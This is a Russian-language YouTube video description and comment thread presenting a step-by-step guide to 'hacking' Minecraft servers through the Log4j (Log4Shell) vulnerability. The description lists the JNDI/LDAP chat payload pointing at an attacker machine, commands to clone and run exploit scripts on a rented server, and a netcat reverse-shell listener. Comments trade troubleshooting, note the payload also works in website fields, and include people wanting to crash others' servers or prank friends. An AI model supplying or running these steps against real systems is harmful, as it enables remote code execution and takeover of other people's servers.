Уязвимость Log4j | Эта Команда в Чате ЛОМАЕТ СЕРВЕРА MINECRAFT

Как взломать сервер Майнкрафт? Очень просто. Для этого я буду использовать уязвимость Minecraft Log4J в Java коде. Уязвимость Log4j(log4shell) серьезно угрожает безопасности java приложений, в том числе серверам Майнкрафт: hypixel 2B2T PixelMon и другие. Взлом админки Майнкрафт стал возможен из-за этой уязвимости.
Таймкоды:
0:00 ▶️ Интро
0:25 ▶️ Log4j в действии
1:37 ▶️ Детальный гайд
Github репо:
github.com/davidbombal/log4jm...
Видео Дэвида:
• Minecraft hacking with...
Где купить хакерский сервак:
davidbombal.wiki/linode
Инструкция по установке сервера Minecraft:
www.dropbox.com/s/f0leevpga4e...
Raikia:
raikia.com/tool-powershell-en...
Код для Raikia:
gist.github.com/Maxet24/f7518...
Вместо 10.10.10.10 пишите адрес хакерской машины, а 80 меняете на 9898.
Команда в Майне:
${jndi:ldap://10.10.10.10:1389/Log4JCE}
*Замените 10.10.10.10 на ip машины.
Команды в консоли после подключения к Linode:
* Первая консоль
git clone github.com/davidbombal/log4jm...
python3 log4j.py ip_адрес
* Вторая консоль
python3 jcomp_pyserv.py
Команда для reverse shell:
nc -lnvp 9898
Донатик на микро:
www.donationalerts.com/r/maxe...

[@overbafer1]

Молодец

[@MaxetTV]

Обалдеть! Коллега, ваши ролики вдохновили меня на создание этого!

[@overbafer1]

@@MaxetTV вы мне льстите, коллега)

[@MaxetTV]

@@overbafer1 Кстати, у вас было желание сделать видео на эту хайповую тему? По крайней мере VidIQ показывал хорошую цифру по данной теме.

[@overbafer1]

@@MaxetTV а вот скоро узнаете)

[@frostxgg]

@@overbafer1 а вот и сделал)

[@user-so8lh1rr5y]

Те, кто пришли от овербафера: Майнкрафт со стороны клиента исправили эту уязвимость. Школолосервера всё ещё можно ломать, но это некоторые, ядра для серверов в большинстве тоже исправили уязвимость, то есть, если уязвимость работает, то исключительно на сервере, работать с пк через клиент уже не сможете.

[@xgre4ax689]

=(

[@MaxetTV]

Подтверждаю.

[@mamalol739]

Если клиент не обновлять , то другим пользователям можно кидать вредоносный код ??

[@user-so8lh1rr5y]

@@mamalol739 дело не в твоём клиенте, а в клиенте игрока. И это всё обрабатывается в первую очередь через сервер, а как я сказал выше, почти все серверные ядра исправили уязвимость.

[@user-gl4of4zf5l]

поподробнее пожалуйста

[@ldefault4593]

Наконец-то хоть кто-то сделал видео-гайд как запустить калькулятор. Хоть и таким способом

[@_nifer_]

Ага а то 50 часовой гайд смотреть не очень

[@gesser163]

Maxet, я тебя поздравляю, это именно то, что люди называют Успех! 😊

[@loopy7545]

Спасибо за столь подробный гайд! Респект

[@darknesxaker8514]

Ты большой молодец продолжай пилить ролики дальше:)

[@timgauka.]

Спасибо, желаю удачи в начинаниях

[@MaxetTV]

Спасибо!

[@romashkavvs7111]

А можно Инстаграм или группу вк ?

[@MaxetTV]

@@romashkavvs7111 Хех, еще не создавал, работаю над новым видиком. Если нужно, могу сделать группу)

[@XEHDEPCOH]

хорошый гайд продолжай в том же духе надеюсь что скоро у тебя будет 100к подпищиков)

[@matvey3d28]

Кто здесь от Овербафера?

[@TvoyOtchimPupsik]

Я

[@Vlad-ck9mh]

Я

[@NoobTop1584]

я

[@user-qr8fq5xn1h]

Я

[@user-qr8fq5xn1h]

Овербафер топ

[@MangoGoo]

Привет, автор :) (извини, что не знаю твоего имени). Видос очень интересный, сам учусь разбираться в Linux системах, т.к собираюсь поступать на инфбезопасность. Продолжай в том же духе, обязательно буду ждать новое видео 😄

[@leoverem14]

Без лишнего мусора в начале, все чётко.

[@Baton253]

Красава!!!! Привет от ОВЕРА

[@murcklack]

Пришел от крупного крекера ( сами знаете от кого) спасибо за подробный гайд ,желаю удачи!

[@slavaarstocke]

Спасибо, что руссифицировал видео Дэвида, очень удобно)

[@MaxetTV]

Рад помочь! Буду делать больше переводов скоро👍

[@willingsquire7773]

А я ничего не понял :((((

[@vespereclivus8788]

@@MaxetTV надеюсь не забросишь, месяц назад это видео вышло, если что готов даже чем-то помочь

[@user-qy9pd3oe1v]

Зааааааааааачем показывать игрокам как это делать!!!

[@MaxetTV]

@@vespereclivus8788 все нормально, я готовлю видос про актуальный взлом вай фая. Соберу всё самое сочное.

[@cybertortik]

МОлодец !

[@_w0nd]

Объяснил всё очень хорошо,, гайд очень подробный

[@Vamaka12]

Ку от Овера)

[@mubifay_yt_7644]

Спасибо, чел, давно искал

[@faghoga584]

привет от overbafer!)

[@user-ev8jv1qd5y]

Привет от овера) удачи

[@Calibration788]

Привет тебе от лучшего хацкера на ЮТ Overbafer1

[@Johninoster]

Привет. Сделал все тоже самое, что у тебя в видосе. Версия java на моем серваке соответствует версии на ubuntu. Версия майнкрафта 1.8.8. Когда запускаю LDAP сервак и сервер на питоне, они не ловят пакеты после того, как отправляю саму консольную команду. Айпи в команде правильный. Я проверял) Заранее спасибо)

[@MaxetTV]

Привет! Та же проблема была сначала. Попробуй использовать гайд в описании для сервака.

[@MaxetTV]

github.com/davidbombal/log4jminecraft/issues/1#issuecomment-997412958 Вот посмотри ответ Девида, здесь ссылка на java нужной версии.

[@ANUARKA]

Короче краткий итог который сэкономил бы время, баг поправили на версии 1.8.1 да и большинство 1.8 не работают. Поэтому берите версии 1.12.2 там можно еще поиграться, но большинство серверов поправили, плюс клиент т лаунчера тоже обновили и теперь открыть калькулятор не получится, но сервер положить пока можно

[@mmoreshki111]

ролики выходят стабильно

[@VEYSKAN]

Шикарно

[@ristocrat7021]

Нужно больше русификаций (с гайдами так вообще супер)! Как тебе задонатить, друг? Реквизиты добавь

[@MaxetTV]

Спасибо за поддержку! Обязательно сделаю! И, да, добавил ссылку на DonationAlerts в описании.

[@neronkalite7539]

Можешь рассказать, как все проделать на своем компьютере?

[@Milerook]

Уважаемый, да у вас будущее есть. Продолжай в том же духе, очень классно.

[@alexsanderolshanskiyprod.4701]

Офигеть сработало)

[@alexsanderolshanskiyprod.4701]

правда перенаправить консоль не получилось...

[@fnigtcore9262]

кто-то: почему Лондон, а не париж? я: 2:30

[@qelvu-tytyay]

хорош

[@Skeleton-in-boots]

вопрос порт 9898 необходимо использовать? или можно по другому порту?(любому? не-знаю)

[@sofgaming5514]

Привет от овербафера

[@user-vm9lt5sw1w]

Спасибо хацкерам за новый способ открыть интернет експлорер

[@felsher2917]

Лайк

[@hehekovc_zhiv]

а сервер на linode обязателен?

[@levshx]

Уязвимость работает так же и для сайтов на Java, только команды ${jndi:ldap *} не в чат, а в любое текстовое поле сайта, или get параметр URL.

[@DarkCoder15]

Это только если jndi ldap выведется в логах

[@felefit]

Крутой контент) Я от овера

[@loa2395]

Привет от overbafer1

[@kalilinux1515]

Чел хорош

[@Shortskz]

Я от Овера ✊

[@artoriasYT]

Ку, будут новые видосы?

[@_nifer_]

Это одновременно и круто и очень плохо Есть такие люди которые всю жизнь обижаются на всех и все. И они будут творить специально то что ты только что показал на видио ради удовольствия, будут взламывать людей только потомучто им хочется. Но автор и молодец он и покащал уязвимости которые можно понять.

[@antonee0]

ждём разбора на пк

[@user-lc3oc9br8q]

я только не понял. вводить нужно свой ип или ип сервера?

[@zaz087]

ту руруу привет от овера

[@PlayKO]

спс за тутор на калькулятор

[@the_naf1]

Привет от овера

[@pti4kabeats]

Пока вы крашите майнкрафт сервера, некоторые взламывают банки с помощью той же самой уязвимости

[@V1tal9]

служба безопасности уведомила все банки быстрее чем ты глазом моргал, и это инстантно пофиксили

[@Killytu]

шо делать в консоли сервера Reference Class Name: foo а в логах Send LDAP reference result for Log4JCE redirecting to мой айпи

[@besmile7254]

Треугольник ты ли это ? ))

[@middle968]

А сервер майнкрафта на каком порте запускать?

[@mirvix]

Надеюсь что это видео ютуб не удалить

[@firefoxlive1912]

От овербафера

[@mem23963]

Что за приложение справо от майнкрафта?

[@poddias3773]

всё теперь максет станет миллионником

[@user-he2gl2oz1q]

Или что делать если пкд пишется что Conecting timed out?

[@ruria_coda]

Не только minecraft!

[@ruria_coda]

А код для raika исходник на java code.txt?

[@nezer3031]

Новый способ троллить друзей) или если кто то на сервере не знает как открыть калькулятор

[@LeleMagisterMeister]

Привет от детей овера!!!

[@ddsjvt]

скажите че за консоль с кодом мне нада крашнуть школо сервер де 2 класники говорят они 7-9-11 класники

[@miron2211]

А работает эта уязвимость на сервере aternos? Хочу над другом пошутить

[@murattkachuk1495]

Автор: Запомните этот способ взлома использавать толька на своих серверах я:ПОГНАЛИ ВЗЛАМЫВАТЬ ПЕНТАГОН

[@murattkachuk1495]

@@peepooos я понимаю что серьёзное но зачем показывать как это делать если это можно юзать толька на своем сервере

[@user-wt5jz6xg3p]

@@murattkachuk1495 Не на своём. Любой человек в чате может написать эту команду, указав сервер на котором стоит файл-код. И он выполнится.

[@livesey05]

@@peepooos лол он рофлить не может? чел...

[@Abobus-dt8qe]

@@peepooos ты считаешь это видео серьёзным?

[@Abobus-dt8qe]

@pcheoa1337 банков... Взломали? Я посмеялся

[@pflufc3137]

Возникла такая проблема: Всё настроено под ip vmware с ubuntu, работает сервер с http и LDAP, но когда я пишу команду, ничего не происходит, LDAP запрос отправляется, но class с сервера http не берётся, следственно не работает и cам скрипт, открыл все нужные порты на вм, пробросил даже порты через NAT, но как будто сервер просто отказывается брать файл с сервера, помогите решить это проблему пожалуйста.

[@bgcstar6447]

у меня вопрос.Обязательно делать свой сервер?И вообще можно использовать не айпи сервера а свой?

[@Banka_Storm]

он проделывал это на своём сервере, что бы никому не навредить. логично

[@fills6069]

Привет как установить git что бы команды в терминале работали? ТК когда пытаюсь установить репозиторий ""git" не является внутренней или внешней"

[@MaxetTV]

Ты Linode используешь? Или свой? Если свой, то в Винде нужно переменную среды поставить.

[@fills6069]

@@MaxetTV А как это зделать? И можно ли это просто зделать через Git Bash?

[@f1nke88]

@@MaxetTV Ответь пж а переменная на что на java

[@t-sepie6637]

linode не запускается в казахстане ошыбка при регестрацый можеш посаветоват анлаог этой программмый

[@darmellerchannel]

Слушай, а могут ли хакеры зайти на твой локальный сервер с другом. Мы с другом к одной сети wi fi подключенны.

[@marcher6668]

Могут

[@darmellerchannel]

@@marcher6668 Мы вот играем уже пятый день нас никто не трогает.А если кто зайдёт быстро alt+F4 и все

[@marcher6668]

@@darmellerchannel уже закрыли дыру в Tlauncher там внутри была папка log4jfix

[@marcher6668]

@@darmellerchannel почти закрыли

[@Guave1030]

а что за консоль программа которая открывает много консолей где ты подключился к серверу через айпи

[@marcher6668]

Netcat удаленная Шелл(консоль)

[@m16ka]

Привет вам несказанно повезло

[@hackerq9866]

Кто тоже заметил что он пишет не Log4jRCE, а Log4JCE

[@vodeninja6999]

привет выдает ошибку при билде ```[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compil```

[@fedotsys2087]

От овера

[@arroen2128]

а у меня ворпрос это уже же пофиксили???

[@asilbek_murotqulov]

omg hehehehehhehehe

[@WaRsNice]

ты в видео у овербафера

[@user-pm3ex7dw7t]

А что делать если выдаёт Неизвестная команда nc -lnvp 9898

[@hagaruma3800]

не сохраняется файл когда редачу через nano

[@Fayronchik]

Помоги мне пишет что мой айпи неправильный (пишу айпи с 2айпи)

[@danim1992]

после того как поставил софт с гетхаба самопроизвольно начались включатся разные игры приложения и тд...

[@Jodexx_]

Это не из-за софта.

[@Fayronchik]

Помоги что делать пишет то такого Файла нет log4j.py

[@nohais]

Привет, я не понимаю, я сделал все по твоей инструкции, кроме хоста (Мне пишут что я мошенник), но купил с теме же параметру у другого хоста, вкл все загрузил и загрузилось, открываю локальный сервер, пишу код и ничего не происходит, подумал ядро блочит, скачал старое ядро, без результата

[@ANUARKA]

на большинстве серверов уже пофикисли

[@Baton253]

Добавь ссылку на донат!!!

[@t-sepie6637]

linode не запускается в казахстане ошыбка при регестрацый можеш посаветоват анлаог Провереный

[@ghostso2892]

какие порты надо открывать для юязвимости?

[@ghostso2892]

@Eneez чел ну вопервых откуда тебе знать какая у меня ОС

[@ghostso2892]

@Eneez а причем тут видео 2 года давности?

[@surumaki6599]

кто то что то понял? я просто как овоШ сижу и не понимаю как это делается пойду смотреть поновой

[@DHMolten]

Хорошо что у меня не лицензия:)

[@dudha369]

А для чего нужен Lincode? Это типа виртуалка, или хостинг для сервера? Если хостинг, о зачем ты у себя на машине запустил сервак?

[@cullfy8278]

реклама мб прост и интеграция уместная

[@genrymorgan1140]

Привет, подскажи, если в консоль, которая слушает 1389 порт приходят пакеты какие то(пишет что перекидывает все на файл .class), но дальше ничего не происходит, как будто до jcomp_pyserv.py ничего не доходит

[@MaxetTV]

У меня такое же было. Сервак значит не тот. Чекни вот эту ветку гитхаб, там Дэвид мне всё объяснил. github.com/davidbombal/log4jminecraft/issues/1

[@MaxetTV]

@@genrymorgan1140 не, ребят, мне уже столько людей пишет, я принимаю с этого момента правило Овера.

[@genrymorgan1140]

@@MaxetTV окей, без б

[@Master-hr6ep]

что делать если пишет time out

[@Timpixel2020]

Просто скачайте плагин Log4jExploitFix, незнаю, обеспечит ли он полную безопасность, но у меня эта уязвимость исчезла.

[@zarik5313]

А как сделать без linode на линуксе

[@falsebigmonser381]

А как работать с ним без linode?

[@robin_v10]

Ставь лайк если пришёл от овера)))

[@user-ms4uu1sr7w]

пожалуста ответь как збросить пароль от ip

[@dinek0d266]

Есть несколько вопросиков: Для этого обязательно использовать динамический IP? Можно ли так взломать сервера Garry's Mod?

[@thevilforce]

1. Да 2. Если только бы Гаррис мод был написал на java, и к тому же, если бы это и было так, то это бы уже пофиксили.

[@dinek0d266]

@@thevilforce благодарю

[@molikoq]

@@thevilforce работает сейчас?

[@marcher6668]

@@molikoq почти нет если будет обход этого Эксплуатации

[@marcher6668]

@@molikoq жди обход

[@OVERTY963]

Raika не работает, что делать?

[@t-sepie6637]

linode не запускается в казахстане

[@erhgure4hghnu]

Жаль что это на винде не проделать